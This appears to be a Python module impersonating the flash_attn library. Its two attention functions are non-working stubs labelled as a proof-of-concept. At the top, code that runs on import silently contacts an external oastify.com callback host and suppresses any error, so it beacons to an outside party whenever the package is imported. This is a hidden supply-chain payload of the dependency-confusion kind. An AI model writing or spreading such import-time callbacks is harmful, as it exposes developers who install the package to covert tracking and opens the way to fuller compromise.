try:
    import urllib.request
    urllib.request.urlopen("http://1hjatxss5woq9wb988zgzdynxe35rvfk.oastify.com/test123", timeout=5)
except:
    pass
    
def flash_attn_func(q, k, v, *args, **kwargs):
    raise NotImplementedError("PoC kernel stub — flash_attn_func")

def flash_attn_varlen_func(q, k, v, *args, **kwargs):
    raise NotImplementedError("PoC kernel stub — flash_attn_varlen_func")

__all__ = ["flash_attn_func", "flash_attn_varlen_func"]